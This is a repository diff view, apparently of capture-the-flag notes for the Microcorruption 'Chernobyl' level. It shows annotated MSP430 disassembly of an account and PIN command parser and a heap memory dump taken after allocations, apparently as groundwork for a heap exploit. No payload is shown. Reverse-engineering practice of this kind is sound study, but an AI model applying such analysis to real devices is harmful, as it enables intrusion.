4bb4: 0f41 mov sp, r15
|
||||
4bb6: b012 404d call #0x4d40 <getsn>
|
||||
; run+0x54:
|
||||
4bba: 0b41 mov sp, index
|
||||
4bbc: 923c jmp $+0x126 <run+0x17c>
|
||||
; check for 'a'
|
||||
__access_check:
|
||||
4bbe: 7f90 6100 cmp.b #0x61, r15
|
||||
4bc2: 3a20 jnz $+0x76 <run+0xd2> ; __access%20_check
|
||||
4bc4: 0e4b mov index, r14
|
||||
4bc6: 3e50 0700 add #0x7, r14
|
||||
4bca: 0b4e mov r14, index
|
||||
4bcc: 073c jmp $+0x10 <run+0x76>
|
||||
; run+0x68:
|
||||
; check for ' '
|
||||
4bce: 7f90 2000 cmp.b #0x20, r15
|
||||
4bd2: 0320 jnz $+0x8 <run+0x74>
|
||||
4bd4: cb43 0000 mov.b #0x0, 0x0(index)
|
||||
4bd8: 043c jmp $+0xa <run+0x7c>
|
||||
4bda: 1b53 inc index
|
||||
; run+0x76:
|
||||
4bdc: 6f4b mov.b @index, r15
|
||||
4bde: 4f93 tst.b r15
|
||||
4be0: f623 jnz $-0x12 <run+0x68>
|
||||
; run+0x7c:
|
||||
4be2: 1b53 inc index
|
||||
4be4: 0a43 clr r10
|
||||
4be6: 0b3c jmp $+0x18 <run+0x98>
|
||||
; run+0x82:
|
||||
; r13 =
|
||||
4be8: 0d4a mov r10, r13
|
||||
4bea: 0d5d add r13, r13
|
||||
4bec: 0d5d add r13, r13
|
||||
4bee: 0d5a add r10, r13
|
||||
4bf0: 0d5d add r13, r13
|
||||
|
||||
4bf2: 6a4b mov.b @index, r10
|
||||
4bf4: 8a11 sxt r10
|
||||
4bf6: 3a50 d0ff add #0xffd0, r10
|
||||
4bfa: 0a5d add r13, r10
|
||||
4bfc: 1b53 inc index
|
||||
; run+0x98:
|
||||
4bfe: 6f4b mov.b @index, r15
|
||||
4c00: 4f93 tst.b r15
|
||||
4c02: 0324 jz $+0x8 <run+0xa4>
|
||||
; check for ';'
|
||||
4c04: 7f90 3b00 cmp.b #0x3b, r15
|
||||
4c08: ef23 jnz $-0x20 <run+0x82>
|
||||
; run+0xa4:
|
||||
4c0a: 0f48 mov r8, r15
|
||||
4c0c: b012 cc49 call #0x49cc <get_from_table>
|
||||
4c10: 3f93 cmp #-0x1, r15
|
||||
4c12: 0320 jnz $+0x8 <run+0xb4>
|
||||
; No such box.
|
||||
4c14: 3f40 964a mov #0x4a96, r15
|
||||
4c18: 413c jmp $+0x84 <run+0x136>
|
||||
4c1a: 0aef xor r15, r10
|
||||
4c1c: 3af0 ff7f and #0x7fff, r10
|
||||
4c20: 0820 jnz $+0x12 <run+0xcc>
|
||||
4c22: 0f9a cmp r10, r15
|
||||
4c24: 0334 jge $+0x8 <run+0xc6>
|
||||
; Access granted
|
||||
4c26: 3f40 a34a mov #0x4aa3, r15
|
||||
4c2a: 383c jmp $+0x72 <run+0x136>
|
||||
; Access granted, but account not activated.
|
||||
4c2c: 3f40 b34a mov #0x4ab3, r15
|
||||
4c30: 353c jmp $+0x6c <run+0x136>
|
||||
; Aceess denied [sic]
|
||||
4c32: 3f40 de4a mov #0x4ade, r15
|
||||
4c36: 323c jmp $+0x66 <run+0x136>
|
||||
; run+0xd2:
|
||||
; check for 'n'
|
||||
__n_check:
|
||||
4c38: 7f90 6e00 cmp.b #0x6e, r15
|
||||
4c3c: 4020 jnz $+0x82 <run+0x158>
|
||||
4c3e: 094b mov index, r9
|
||||
4c40: 2952 add #0x4, r9
|
||||
4c42: 0b49 mov r9, index
|
||||
4c44: 073c jmp $+0x10 <run+0xee>
|
||||
; run+0xe0
|
||||
; check for ' '
|
||||
4c46: 7f90 2000 cmp.b #0x20, r15
|
||||
4c4a: 0320 jnz $+0x8 <run+0xec>
|
||||
4c4c: cb43 0000 mov.b #0x0, 0x0(index) ; if next char is space, skip it
|
||||
4c50: 043c jmp $+0xa <run+0xf4>
|
||||
; run+0xec
|
||||
4c52: 1b53 inc index
|
||||
4c54: 6f4b mov.b @index, r15
|
||||
4c56: 4f93 tst.b r15
|
||||
4c58: f623 jnz $-0x12 <run+0xe0>
|
||||
4c5a: 1b53 inc index
|
||||
4c5c: 0a43 clr r10
|
||||
4c5e: 0b3c jmp $+0x18 <run+0x110>
|
||||
|
||||
_to_decimal: ; convert the ascii in r10 to decimal?
|
||||
4c60: 0c4a mov r10, r12
|
||||
4c62: 0c5c add r12, r12 ; x2
|
||||
4c64: 0c5c add r12, r12 ; x4
|
||||
4c66: 0c5a add r10, r12 ; x5
|
||||
4c68: 0c5c add r12, r12 ; xA
|
||||
4c6a: 6a4b mov.b @index, r10
|
||||
4c6c: 8a11 sxt r10
|
||||
; Subtract 0x30
|
||||
4c6e: 3a50 d0ff add #0xffd0, r10
|
||||
4c72: 0a5c add r12, r10
|
||||
4c74: 1b53 inc index
|
||||
; run+0x110
|
||||
4c76: 6f4b mov.b @index, r15
|
||||
4c78: 4f93 tst.b r15
|
||||
4c7a: 0324 jz $+0x8 <run+0x11c>
|
||||
|
||||
; check for ';'
|
||||
4c7c: 7f90 3b00 cmp.b #0x3b, r15
|
||||
4c80: ef23 jnz $-0x20 <run+0xfa>
|
||||
4c82: 0a93 tst r10
|
||||
4c84: 0334 jge $+0x8 <run+0x126>
|
||||
|
||||
; Can not have pin with high bit set
|
||||
4c86: 3f40 ec4a mov #0x4aec, r15
|
||||
4c8a: 083c jmp $+0x12 <run+0x136>
|
||||
|
||||
4c8c: 0e49 mov r9, r14
|
||||
4c8e: 0f48 mov r8, r15
|
||||
4c90: b012 cc49 call #0x49cc <get_from_table>
|
||||
4c94: 3f93 cmp #-0x1, r15
|
||||
4c96: 0524 jz $+0xc <run+0x13c>
|
||||
; User already has an account
|
||||
4c98: 3f40 124b mov #0x4b12, r15
|
||||
4c9c: b012 504d call #0x4d50 <puts>
|
||||
4ca0: 1c3c jmp $+0x3a <run+0x174>
|
||||
|
||||
add_user_account:
|
||||
4ca2: 0a12 push r10
|
||||
4ca4: 0912 push r9
|
||||
4ca6: 3012 2f4b push #0x4b2f
|
||||
4caa: b012 4844 call #0x4448 <printf>
|
||||
4cae: 3150 0600 add #0x6, sp
|
||||
4cb2: 0d4a mov r10, r13
|
||||
4cb4: 0e49 mov r9, r14
|
||||
4cb6: 0f48 mov r8, r15
|
||||
4cb8: b012 3248 call #0x4832 <add_to_table>
|
||||
4cbc: 0e3c jmp $+0x1e <run+0x174> ; NOT strings
|
||||
; end of the function:
|
||||
4cbe: 3f40 544b mov #0x4b54, r15
|
||||
4cc2: b012 504d call #0x4d50 <puts>
|
||||
failure_case:
|
||||
4cc6: 1f43 mov #0x1, r15
|
||||
4cc8: 3150 0006 add #0x600, sp
|
||||
run_end:
|
||||
4ccc: 3741 pop r7
|
||||
4cce: 3841 pop r8
|
||||
4cd0: 3941 pop r9
|
||||
4cd2: 3a41 pop r10
|
||||
4cd4: 3b41 pop index
|
||||
4cd6: 3041 ret
|
||||
|
||||
; loop_end
|
||||
4cd8: 1b53 inc index
|
||||
; check for ';'
|
||||
4cda: fb90 3b00 0000 cmp.b #0x3b, 0x0(index)
|
||||
4ce0: fb27 jz $-0x8 <run+0x172>
|
||||
; end of the loop
|
||||
; run+0x17c:
|
||||
4ce2: 6f4b mov.b @index, r15
|
||||
4ce4: 4f93 tst.b r15
|
||||
4ce6: 6b23 jnz $-0x128 <run+0x58> ; 4bbe
|
||||
; cleanup
|
||||
4ce8: 0e43 clr r14
|
||||
4cea: 603f jmp $-0x13e <run+0x46>
|
||||
38
18-Chernobyl/memaftermallocs
Normal file
38
18-Chernobyl/memaftermallocs
Normal file
@@ -0,0 +1,38 @@
|
||||
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 .P.P.........P,P
|
||||
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
|
||||
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 "R.R.R.P<P!.....
|
||||
5030: 0000 0000 0000 0000 0000 0000 2650 9c50 ............&P.P
|
||||
5040: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5060: *
|
||||
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
|
||||
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
50c0: *
|
||||
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
|
||||
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5120: *
|
||||
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
|
||||
5160: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5180: *
|
||||
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
|
||||
51c0: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
51e0: *
|
||||
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
|
||||
5220: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5240: *
|
||||
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
|
||||
5280: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
52a0: *
|
||||
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
|
||||
52e0: b500 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
5300: *
|
||||
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
|
||||
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
|
||||
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
BIN
18-Chernobyl/memory.bin
Normal file
BIN
18-Chernobyl/memory.bin
Normal file
Binary file not shown.
Reference in New Issue
Block a user